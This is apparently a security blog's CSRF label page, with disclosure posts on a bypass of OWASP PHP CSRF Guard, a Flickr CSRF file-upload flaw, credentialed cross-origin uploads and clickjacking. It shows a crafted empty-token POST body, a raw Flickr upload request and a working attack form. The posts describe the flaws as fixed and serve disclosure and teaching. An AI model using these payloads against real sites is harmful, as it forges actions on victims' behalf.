Showing posts with label csrf. Show all posts
Showing posts with label csrf. Show all posts

Friday, December 7, 2012

On handling your pets and a CSRF protection that wasn't

Security is hard. While security-related issues are fun and challenging subject for many - fun enough for them to take part in various CTFs, crackmes etc, it's usually not the first thing a developer cares for. Yes, they do have other priorities. That's why usually leaving a developer with a task of writing security-related code results in either:

Look what I found, ma!

Using libraries though is like bringing a pet home. Sure, it's cute and all, but you should be responsible for it from now on. That means you should:
  1. Care for it day after day (= keep libraries up to date).
  2. Observe it. If it's sick, go to a vet (= monitor for security vulnerabilities discovered).
  3. Accept that it's a part of the family now (= treat it with as much scrutiny as your own code).
Whatever you're bringing into your codebase, wherever it came from - it's your responsibility now. No matter if it's a snippet found in a forum, a github.com hosted library used by a few dozen people or a project used for many years and extensively tested. It may have a security vulnerability, it may be used insecurely, it may not be a right tool for a task. Be skeptical.

The code allmighty

There are no sacred cows. Any code is just that - a piece of instructions made by humans, with a certain possibility of having errors, some of that security related. And every human makes mistakes, some of them catastrophic.

Let me give you an example - OWASP PHP CSRF Guard - a small library for enriching your PHP application with CSRF protection. Similar to what OWASP CSRFGuard does for Java applications. This small library is presented in Open Web Application Security Project wiki, so it must be secure.....Right?

No. No sacred cows, remember? Take a look:
if (!isset($_POST['CSRFName']))
{
 trigger_error("No CSRFName found, probable invalid request.",E_USER_ERROR);  
} 
$name =$_POST['CSRFName'];
$token=$_POST['CSRFToken'];
if (!csrfguard_validate_token($name, $token))
{ 
 trigger_error("Invalid CSRF token.",E_USER_ERROR);
}
Application uses separate tokens for every form. Upon form submission, it gets form id (CSRFName) and appropriate token (CSRFToken) from POST request and calls csrf_validate_token(). So far so good. Let's dig deeper though.
function csrfguard_validate_token($unique_form_name,$token_value)
{
 $token=get_from_session($unique_form_name);
 if ($token===false)
 {
  return true;
 }
 elseif ($token==$token_value)
 {
  $result=true;
 }
 else
 { 
  $result=false;
 } 
 unset_session($unique_form_name);
 return $result;
}
Function retrieves the token for a form id from session (get_from_session). Function returning false is some exception, let's skip that. Then token value from POST is compared to its session equivalent. Looks ok. But..
function get_from_session($key)
{
 if (isset($_SESSION))
 {
  return $_SESSION[$key];
 }
 else {  return false; } //no session data, no CSRF risk
}
What happens if there is no such $key in $_SESSION? null will be returned. So, retrieving a token for non-existent form id will return null.

Guess what? In PHPnull == "". So, submitting this:
CSRFName=CSRFGuard_idontexist&CSRFToken=&input1=value1&input2=value2....
in your POST request will call:
csrfguard_validate_token('CSRFGuard_idontexist', '') // and then
$token = get_from_session('CSRFGuard_idontexist') = null; // => 
$token_value = ''; // => 
$token_value == $token; // =>
return true;
Total CSRF protection bypass. No sacred cows. Of course, the code in OWASP wiki has been fixed now.

Developers, remember: Do not blindly include libraries, even OWASP ones, without testing them, especially for security errors. If you can't do it - there are other people who can ( ^-^ ). After all, even if it's adopted, it's part of the family now.

Tuesday, November 22, 2011

Geocommons.com admin account hijack

Potato chips, post-it notes, LSD and Viagra - all these things were discovered by accident. As it seems, sometimes great discoveries come by a surprise. I've had my moment of surprise lately. It all started during my research on sites using Cross Origin Resource Sharing. You know me, I just have to check the real-world HTML5 implementations. So there I am, checking sites implementing CORS headers. Geocommons.com is one of them - and this is the story of how geocommons got really common.

GeoCommons is the public community of GeoIQ users who are building an open repository of data and maps for the world. The GeoIQ platform includes a large number of features that empower you to easily access, visualize and analyze your data.

There was a critical vulnerability in geocommons.com website allowing any user to change e-mail address of administrative user and hijack the admin account. According to vendor, vulnerability is now fixed.

Friday, October 28, 2011

Poor Princess Leia! Tumblr.com CSRF domain hijack


Tumblr.com is a microblogging platform with over 32 millions of users, with Alexa global rank of 45. Tumblr.com had a CSRF vulnerability on blog settings page
http://tumblr.com/tumblelog/[blog-name]/settings that allowed for launching targeted attacks against a specified blog to hijack its domain and perform other potentially severe actions on behalf of a victim user.

Monday, October 24, 2011

Stripping Referrer for fun and profit

tldr: New methods for client side only (no server side script) referrer stripping in POST & GET requests. Code at the end.

Referer is that tiny bit of information that browser sends to servers while you click your way through interwebs, always carrying the URL of the webpage you've clicked the link at (more or less). It's useful for webdevelopers. For example, if they know you've reached their page from Google search results they can tailor the webpage especially for you. Of course, it's a privacy leak, so users can turn off referrer sending in current browsers. All in all, Referer is usually spoken in SEO circles, which is not my pair of shoes. However, at least one thing makes Referer very interesting from security point of view.

Wednesday, May 18, 2011

Invisible arbitrary CSRF file upload in Flickr.com

Summary

Basic upload form in Flickr.com was vulnerable to CSRF. Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature) allowed attacker to upload images or videos on user's behalf. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.

Described vulnerability has been quickly fixed by Flickr.com team.

The exploit is an example of using my HTML5 arbitrary file upload method.

Demo


Vulnerability description

Flickr.com basic upload form displayed on http://www.flickr.com/photos/upload/basic/ submits a POST request with multipart/form-data MIME type (standard HTTP File Upload form).
Basic File Upload Form
This request looks like this:
POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--

On line 11 there are some Flickr.com cookies, there is also a magic_cookie form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing magic_cookie field still resulted in successful file upload.

To make things worse, Flickr.com uses persistent cookie BX for 'keep me signed in' feature. Sending POST request to http://up.flickr.com/photos/upload/transfer/does not require an active session set up beforehand. If BX cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore all accounts using Flickr.com 'keep me signed in' feature were potential targets of described attack.

Attack

Malicious page with this HTML code:
<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>
was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).

Above technique required user to manually choose the file from his HDD. However, using my HTML5 arbitrary file upload method a malicious page was able to construct the raw multipart/form-data request in Javascript and send it quietly without user interaction. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.

As a result, visiting malicious page in browsers supporting CORS requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).

Exemplary exploit code is here.

Fix

As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, great work guys! Now magic_cookie value is checked upon processing the upload request.

Timeline

17.05.2011 - vulnerability discovered
18.05.2011 - vendor notified
18.05.2011 - vendor responded, fix released

Tuesday, May 10, 2011

Cross domain arbitrary file upload Redux

Remember how it was possible to upload files with arbitrary names & contents cross domain?  The method had one, but crucial limitation - it did not include any credentials. In other words, the POST message would be sent to server without any cookies / HTTP auth, so it would most likely be discarded by the attacked application. You could upload a file (precisely, that's a CSRF File Upload), but, in most cases, the receiving application would drop it. Until now :)

I can haz cookies!

I still don't know how did I miss this, but it's just a one-line change:
xhr.withCredentials = "true"; 
That's it. With this flag set:
  • CORS simple requests will include cookies / HTTP auth
  • CORS preflighted requests will ask for permission to include them
Luckily for attackers (and unfortunately for the Web), POST request with MIME type multipart/form-data and credentials are still in the 'simple' bucket. So the exact CSRF CORS File Upload attack works like this:

"Take those cookies to your grandma", said The Browser
  1. Victim logs in to victim.whatever.com website
  2. He receives a session cookie for future requests
  3. In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
  4. Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)

    "Browser, I really need you to send this tiny little harmless POST to victim"

  5. Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.

    "Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"

  6. victim app receives the POST file upload with the cookie, so it processes the upload and responds.

    "What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"

  7. Browser looks at the response and, not having appropriate CORS response headers, discards the response.

    "Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"
Yeah, exactly. Good work! Now the CSRF File Upload is super-simple. I've updated the examples with the new code.

Tuesday, October 5, 2010

Serious security flaws in Facebook revealed today

Today some XSS & CSRF vulnerabilites in Facebook discovered by John Jean have been reported. These are already patched, so it's just educational material, but it's extremely interesting nonetheless. This disclosure touches various subjects, so I'd like to comment on these. I attach demonstrational videos, but I recommend reading the whole article - it's worth it.

Wednesday, December 23, 2009

5 ways to prevent clickjacking on your website (and why they suck)

Clickjacking attack is a very nasty attack. The most common form of it is when an attacker creates a webpage and tricks the visitor to click somewhere (on a link, button, image). Attacker in the code of his website includes a victim website (like Facebook, your webmail, amazon) that is cleverly hidden from the user and placed so that a user actually clicks on a victim website. Citing the example from OWASP page on clickjacking:

For example, imagine an attacker who builds a web site that has a button on it that says "click here for a free iPod". However, on top of that web page, the attacker has loaded an iframe with your mail account, and lined up exactly the "delete all messages" button directly on top of the "free iPod" button. The victim tries to click on the "free iPod" button but instead actually clicked on the invisible "delete all messages" button. In essence, the attacker has "hijacked" the user's click, hence the name "Clickjacking".
The problem with clickjacking attack is that it is extremely difficult to prevent. Unlike other popular vulnerabilities like CSRF, XSS, SQL injection, this one is based on a functionality that is widely used in the web nowadays - frames (I'm skipping the case of plugin-based-clickjacking for clarity here). Frames allow you to nest one webpage or widget in another page - this is now used for login pages, commenting, previewing content in CMSes, for JavaScript interactions and a million other things.

Browsers nowadays use same origin policy to protect your data if you're framing or being framed from another domain (this prevents JavaScripts from talking to each other and accesing documents across the domain boundary). But JavaScript is not required for a clickjacking attack - CSS is enough. In the simplest form (e.g. used in recent Facebook users attack), you're just using a small <iframe>, and position it absolutely. The rest is just social engineering.

Our users have a few options to protect themselves. So maybe 1% of them will be "protected". But what can we - web developers do to prevent the clickjacking on our sites? Sadly, not much, but here's the list: